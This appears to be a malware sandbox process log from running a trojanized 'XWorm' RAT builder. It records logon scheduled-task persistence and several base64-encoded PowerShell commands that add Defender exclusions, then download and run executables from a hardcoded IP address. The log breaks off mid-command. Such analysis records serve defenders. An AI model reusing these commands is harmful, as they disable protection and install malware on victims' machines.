C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --mojo-platform-channel-handle=3836 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5504
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=1044 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:6000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=964 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5252
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4576 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:3100
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2188 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:1352
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --mojo-platform-channel-handle=3304 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:5036
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --mojo-platform-channel-handle=5400 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:1160
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6404 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:2252
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6592 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5808
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --mojo-platform-channel-handle=1932 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:12⤵PID:7108
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3096 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:5824
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6420 --field-trial-handle=1804,i,10166146817622260652,881633563047319188,131072 /prefetch:82⤵PID:340
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:5232
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5324
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:5560
-
C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XHVNC.exe"C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XHVNC.exe"1⤵
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5400
-
C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XWormUI.exe"C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XWormUI.exe"1⤵PID:5656
-
C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XWormUI.exe"C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XWormUI.exe"1⤵PID:5428
-
C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XWorm-RAT-V2.1-builder.exe"C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XWorm-RAT-V2.1-builder.exe"1⤵PID:5388
-
C:\Users\Admin\AppData\Local\Temp\win-xworm-builder.exe"C:\Users\Admin\AppData\Local\Temp\win-xworm-builder.exe"2⤵
- Executes dropped EXE
PID:5372 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "wsappx" /tr "C:\Users\Static\wsappx.exe"3⤵
- Creates scheduled task(s)
PID:5920
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp2B8B.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp2B8B.tmp.bat3⤵PID:4440
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 5372"4⤵
- Enumerates processes with tasklist
PID:6060
-
-
C:\Windows\system32\find.exefind ":"4⤵PID:6032
-
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak4⤵
- Delays execution with timeout.exe
PID:1328
-
-
C:\Users\Static\wsappx.exe"wsappx.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:6140 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "wsappx" /tr "C:\Users\Static\wsappx.exe"5⤵
- Creates scheduled task(s)
PID:4136
-
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /71⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4104
-
C:\Windows\system32\LaunchWinApp.exe"C:\Windows\system32\LaunchWinApp.exe" "http://www.bing.com/search?q=chrome.exe Google Chrome"1⤵PID:1020
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Drops file in Windows directory
- Modifies registry class
PID:1868
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:1556
-
C:\Windows\System32\p6rbzy.exe"C:\Windows\System32\p6rbzy.exe"1⤵PID:4780
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵PID:5488
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7fffe5fe9758,0x7fffe5fe9768,0x7fffe5fe97782⤵PID:512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵PID:3004
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7fffe5fe9758,0x7fffe5fe9768,0x7fffe5fe97782⤵PID:6084
-
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5444
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
PID:6052
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\XWorm\" -spe -an -ai#7zMap6358:72:7zEvent123771⤵PID:6988
-
C:\Users\Admin\Downloads\XWorm\xworm.exe"C:\Users\Admin\Downloads\XWorm\xworm.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:7116 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵PID:5276
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAeQBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHYAbQBtACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAGoAZQBjAHQAaQBvAG4AIABlAHIAcgBvAHIAIQAgAEYAaQBsAGUAIABtAHUAcwB0ACAAYgBlACAAcwB0AGEAcgB0AGUAZAAgAGEAcwAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIQAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAYwB1AGsAIwA+ADsAIgA7ADwAIwBsAG0AbQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAcQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZABrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAegB5ACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AWQBlAGwAbABvAHcALgBlAHgAZQAnACwAIAA8ACMAdgBqAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB6AGMAcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB1AGIAZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQApADwAIwB3AGwAZgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AYQB2AGQAaQBzAGEAYgBsAGUALgBiAGEAdAAnACwAIAA8ACMAZAB3AGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGQAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB5AGwAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBBAHYAZABpAHMALgBiAGEAdAAnACkAKQA8ACMAcABmAG0AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMgAwADkALgAxADYAMAAuADcAMAAvAEwAaQBjAGUAbgBzAGUAQwBoAGUAYwBrAGUAcgAuAGUAeABlACcALAAgADwAIwBiAHMAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAdgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHMAYQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApACkAPAAjAHEAdQBzACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIAMAA5AC4AMQA2ADAALgA3ADAALwBQAEwAVgAuAGUAeABlACcALAAgADwAIwBrAGcAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHMAagB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAYgBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFAATABUAGUAcwB0AC4AZQB4AGUAJwApACkAPAAjAGEAaQBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGYAeQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB4AHEAbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQA8ACMAcwB2AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdgBkAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAZwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEEAdgBkAGkAcwAuAGIAYQB0ACcAKQA8ACMAagBpAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaQByAG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAdwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApADwAIwB4AHcAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAGMAZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwBnAGgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABMAFQAZQBzAHQALgBlAHgAZQAnACkAPAAjAHoAZgBsACMAPgA="3⤵
- Blocklisted process makes network request
PID:6380 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#vmm#>[System.Windows.Forms.MessageBox]::Show('Injection error! File must be started as Administrator!','','OK','Error')<#cuk#>;4⤵PID:6556
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7116 -s 2122⤵
- Program crash
PID:6308
-
-
C:\Users\Admin\Downloads\XWorm\xworm.exe"C:\Users\Admin\Downloads\XWorm\xworm.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:7040 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵PID:7048
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAeQBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHYAbQBtACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAGoAZQBjAHQAaQBvAG4AIABlAHIAcgBvAHIAIQAgAEYAaQBsAGUAIABtAHUAcwB0ACAAYgBlACAAcwB0AGEAcgB0AGUAZAAgAGEAcwAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIQAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAYwB1AGsAIwA+ADsAIgA7ADwAIwBsAG0AbQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAcQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZABrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAegB5ACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AWQBlAGwAbABvAHcALgBlAHgAZQAnACwAIAA8ACMAdgBqAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB6AGMAcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB1AGIAZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQApADwAIwB3AGwAZgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AYQB2AGQAaQBzAGEAYgBsAGUALgBiAGEAdAAnACwAIAA8ACMAZAB3AGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGQAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB5AGwAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBBAHYAZABpAHMALgBiAGEAdAAnACkAKQA8ACMAcABmAG0AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMgAwADkALgAxADYAMAAuADcAMAAvAEwAaQBjAGUAbgBzAGUAQwBoAGUAYwBrAGUAcgAuAGUAeABlACcALAAgADwAIwBiAHMAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAdgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHMAYQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApACkAPAAjAHEAdQBzACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIAMAA5AC4AMQA2ADAALgA3ADAALwBQAEwAVgAuAGUAeABlACcALAAgADwAIwBrAGcAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHMAagB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAYgBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFAATABUAGUAcwB0AC4AZQB4AGUAJwApACkAPAAjAGEAaQBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGYAeQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB4AHEAbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQA8ACMAcwB2AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdgBkAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAZwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEEAdgBkAGkAcwAuAGIAYQB0ACcAKQA8ACMAagBpAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaQByAG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAdwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApADwAIwB4AHcAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAGMAZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwBnAGgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABMAFQAZQBzAHQALgBlAHgAZQAnACkAPAAjAHoAZgBsACMAPgA="3⤵
- Blocklisted process makes network request
PID:5124 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#vmm#>[System.Windows.Forms.MessageBox]::Show('Injection error! File must be started as Administrator!','','OK','Error')<#cuk#>;4⤵PID:6492
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7040 -s 1762⤵
- Program crash
PID:7068
-
-
C:\Users\Admin\Downloads\XWorm\xworm.exe"C:\Users\Admin\Downloads\XWorm\xworm.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:520 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵PID:5156
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAeQBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHYAbQBtACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAGoAZQBjAHQAaQBvAG4AIABlAHIAcgBvAHIAIQAgAEYAaQBsAGUAIABtAHUAcwB0ACAAYgBlACAAcwB0AGEAcgB0AGUAZAAgAGEAcwAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIQAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAYwB1AGsAIwA+ADsAIgA7ADwAIwBsAG0AbQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAcQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGk